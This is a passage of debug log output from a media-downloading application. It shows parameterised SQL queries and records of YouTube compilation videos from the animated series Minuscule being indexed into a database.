"d99ecf1c-2af1-484a-a12a-9c3e74205510", "uawfvkaEwGs", 896, false, 4, "https://www.youtube.com/watch?v=uawfvkaEwGs", 56, "/downloads/Miniscule Season 1/2025-04-03 Narcissus🪞Minuscule 🍃 15' Compilation/Narcissus🪞Minuscule 🍃 15' Compilation [uawfvkaEwGs].mkv", false, false, false, [], 1, ~U[2025-04-03 10:01:32Z], ~U[2025-12-14 07:50:40Z], ~U[2025-12-14 07:50:40Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Narcissus | S01E47\n00:04:48 | Caterpillar Dream | S01E20\n00:09:38 | The Good Education | S01E56\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Narcissus #beetle #reflection #investigating #caterpillar #dream #insects #fly #Minuscule #nature #ladybugs #animatedseries", "Narcissus🪞Minuscule 🍃 15' Compilation", "uawfvkaEwGs", 896, false, 4, "https://www.youtube.com/watch?v=uawfvkaEwGs", "/downloads/Miniscule Season 1/2025-04-03 Narcissus🪞Minuscule 🍃 15' Compilation/Narcissus🪞Minuscule 🍃 15' Compilation [uawfvkaEwGs].mkv", false, ~U[2025-04-03 10:01:32Z]] 00:50:40.095 [debug] QUERY OK source="sources" db=0.4ms idle=686.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:40.096 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:40.097 [debug] QUERY OK source="media_items" db=0.6ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89014] 00:50:40.097 [debug] Current batch of media processed. Will check again in 1000ms 00:50:41.098 [debug] Current batch of media processed. Will check again in 1000ms 00:50:42.099 [debug] Current batch of media processed. Will check again in 1000ms 00:50:43.100 [debug] Current batch of media processed. Will check again in 1000ms 00:50:44.101 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Mosquito Day Afternoon | S01E72\n00:04:39 | Come Christmas | S01E63\n00:09:18 | Dragonflies | S01E33\n00:14:02 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#mosquito #disaster #afternoon #livingroom #Christmas #snowing #fireplace #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1143, "filename" => "/downloads/Miniscule Season 1/2025-03-25 A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation/A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation [YWRr8cm529M].mp4", "id" => "YWRr8cm529M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=YWRr8cm529M", "playlist_index" => 57, "timestamp" => 1742886045, "title" => "A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation", "upload_date" => "20250325"} 00:50:44.102 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=685.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:44.103 [debug] QUERY OK source="sources" db=0.4ms idle=457.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:44.104 [debug] QUERY OK source="media_items" db=0.9ms idle=458.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-25 07:00:45Z], 4] 00:50:44.130 [debug] QUERY OK source="media_items" db=24.3ms idle=460.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Mosquito Day Afternoon | S01E72\n00:04:39 | Come Christmas | S01E63\n00:09:18 | Dragonflies | S01E33\n00:14:02 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#mosquito #disaster #afternoon #livingroom #Christmas #snowing #fireplace #Minuscule #nature #insects #ladybugs #animatedseries", "A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation", "2df3cd9f-5bfc-4bab-9993-b3275828eceb", "YWRr8cm529M", 1143, false, 4, "https://www.youtube.com/watch?v=YWRr8cm529M", 57, "/downloads/Miniscule Season 1/2025-03-25 A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation/A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation [YWRr8cm529M].mp4", false, false, false, [], 1, ~U[2025-03-25 07:00:45Z], ~U[2025-12-14 07:50:44Z], ~U[2025-12-14 07:50:44Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Mosquito Day Afternoon | S01E72\n00:04:39 | Come Christmas | S01E63\n00:09:18 | Dragonflies | S01E33\n00:14:02 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#mosquito #disaster #afternoon #livingroom #Christmas #snowing #fireplace #Minuscule #nature #insects #ladybugs #animatedseries", "A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation", "YWRr8cm529M", 1143, false, 4, "https://www.youtube.com/watch?v=YWRr8cm529M", "/downloads/Miniscule Season 1/2025-03-25 A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation/A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation [YWRr8cm529M].mp4", false, ~U[2025-03-25 07:00:45Z]] 00:50:44.130 [debug] QUERY OK source="sources" db=0.5ms idle=485.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:44.131 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=28.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:44.132 [debug] QUERY OK source="media_items" db=0.4ms idle=28.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89015] 00:50:44.132 [debug] Current batch of media processed. Will check again in 1000ms 00:50:45.134 [debug] Current batch of media processed. Will check again in 1000ms 00:50:46.135 [debug] Current batch of media processed. Will check again in 1000ms 00:50:47.136 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Love Story | S01E03\n00:04:49 | Sleepless Night | S01E50\n00:09:27 | Leech | S01E73\n00:13:52 | It Never Rains But It Pours | S01E41\n00:18:40 | Nap Time | S01E14\n00:23:29 | The Caterpillar and the Brook | S01E08\n00:28:18 | Jump, Jump, Jump | S01E76\n00:32:40 | Bless You! | S01E66\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#love #insects #mating #soulmate #moth #butterfly #sleep #Minuscule #nature #ladybugs #animatedseries", "duration" => 2242, "filename" => "/downloads/Miniscule Season 1/2025-03-13 Love Story ❤️ Minuscule 🍃 45' Compilation/Love Story ❤️ Minuscule 🍃 45' Compilation [TTzQC9oeQmM].mkv", "id" => "TTzQC9oeQmM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TTzQC9oeQmM", "playlist_index" => 58, "timestamp" => 1741863691, "title" => "Love Story ❤️ Minuscule 🍃 45' Compilation", "upload_date" => "20250313"} 00:50:47.137 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1491.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:47.137 [debug] QUERY OK source="sources" db=0.3ms idle=1492.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:47.138 [debug] QUERY OK source="media_items" db=0.7ms idle=1492.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-13 11:01:31Z], 4] 00:50:47.141 [debug] QUERY OK source="media_items" db=1.6ms idle=1494.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Love Story | S01E03\n00:04:49 | Sleepless Night | S01E50\n00:09:27 | Leech | S01E73\n00:13:52 | It Never Rains But It Pours | S01E41\n00:18:40 | Nap Time | S01E14\n00:23:29 | The Caterpillar and the Brook | S01E08\n00:28:18 | Jump, Jump, Jump | S01E76\n00:32:40 | Bless You! | S01E66\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#love #insects #mating #soulmate #moth #butterfly #sleep #Minuscule #nature #ladybugs #animatedseries", "Love Story ❤️ Minuscule 🍃 45' Compilation", "5c9b9350-006e-4978-aa8b-4cdc5c309f62", "TTzQC9oeQmM", 2242, false, 4, "https://www.youtube.com/watch?v=TTzQC9oeQmM", 58, "/downloads/Miniscule Season 1/2025-03-13 Love Story ❤️ Minuscule 🍃 45' Compilation/Love Story ❤️ Minuscule 🍃 45' Compilation [TTzQC9oeQmM].mkv", false, false, false, [], 1, ~U[2025-03-13 11:01:31Z], ~U[2025-12-14 07:50:47Z], ~U[2025-12-14 07:50:47Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Love Story | S01E03\n00:04:49 | Sleepless Night | S01E50\n00:09:27 | Leech | S01E73\n00:13:52 | It Never Rains But It Pours | S01E41\n00:18:40 | Nap Time | S01E14\n00:23:29 | The Caterpillar and the Brook | S01E08\n00:28:18 | Jump, Jump, Jump | S01E76\n00:32:40 | Bless You! | S01E66\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#love #insects #mating #soulmate #moth #butterfly #sleep #Minuscule #nature #ladybugs #animatedseries", "Love Story ❤️ Minuscule 🍃 45' Compilation", "TTzQC9oeQmM", 2242, false, 4, "https://www.youtube.com/watch?v=TTzQC9oeQmM", "/downloads/Miniscule Season 1/2025-03-13 Love Story ❤️ Minuscule 🍃 45' Compilation/Love Story ❤️ Minuscule 🍃 45' Compilation [TTzQC9oeQmM].mkv", false, ~U[2025-03-13 11:01:31Z]] 00:50:47.141 [debug] QUERY OK source="sources" db=0.3ms idle=718.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:47.142 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:47.142 [debug] QUERY OK source="media_items" db=0.3ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89016] 00:50:47.143 [debug] Current batch of media processed. Will check again in 1000ms 00:50:48.144 [debug] Current batch of media processed. Will check again in 1000ms 00:50:49.145 [debug] Current batch of media processed. Will check again in 1000ms 00:50:50.146 [debug] Current batch of media processed. Will check again in 1000ms 00:50:51.147 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Snail’s Dream | S01E11\n00:04:38 | On Your Marks, get set, go ! | S01E75\n00:09:17 | A Rolling Snail Gathers No Moss | S01E49\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snail #dream #undergrowth #speed #race #competitor #slow #steady #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 878, "filename" => "/downloads/Miniscule Season 1/2025-03-11 A Snail’s Dream 🍃 Minuscule 🍃15' Compilation/A Snail’s Dream 🍃 Minuscule 🍃15' Compilation [ZT_g5_EUu68].mkv", "id" => "ZT_g5_EUu68", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ZT_g5_EUu68", "playlist_index" => 59, "timestamp" => 1741676459, "title" => "A Snail’s Dream 🍃 Minuscule 🍃15' Compilation", "upload_date" => "20250311"} 00:50:51.148 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=717.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:51.149 [debug] QUERY OK source="sources" db=0.4ms idle=503.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:51.151 [debug] QUERY OK source="media_items" db=1.1ms idle=504.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-11 07:00:59Z], 4] 00:50:51.164 [debug] QUERY OK source="media_items" db=11.9ms idle=506.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Snail’s Dream | S01E11\n00:04:38 | On Your Marks, get set, go ! | S01E75\n00:09:17 | A Rolling Snail Gathers No Moss | S01E49\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snail #dream #undergrowth #speed #race #competitor #slow #steady #Minuscule #nature #insects #ladybugs #animatedseries", "A Snail’s Dream 🍃 Minuscule 🍃15' Compilation", "0ad57ce9-40a4-4731-9129-b45a46b1c0eb", "ZT_g5_EUu68", 878, false, 4, "https://www.youtube.com/watch?v=ZT_g5_EUu68", 59, "/downloads/Miniscule Season 1/2025-03-11 A Snail’s Dream 🍃 Minuscule 🍃15' Compilation/A Snail’s Dream 🍃 Minuscule 🍃15' Compilation [ZT_g5_EUu68].mkv", false, false, false, [], 1, ~U[2025-03-11 07:00:59Z], ~U[2025-12-14 07:50:51Z], ~U[2025-12-14 07:50:51Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Snail’s Dream | S01E11\n00:04:38 | On Your Marks, get set, go ! | S01E75\n00:09:17 | A Rolling Snail Gathers No Moss | S01E49\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snail #dream #undergrowth #speed #race #competitor #slow #steady #Minuscule #nature #insects 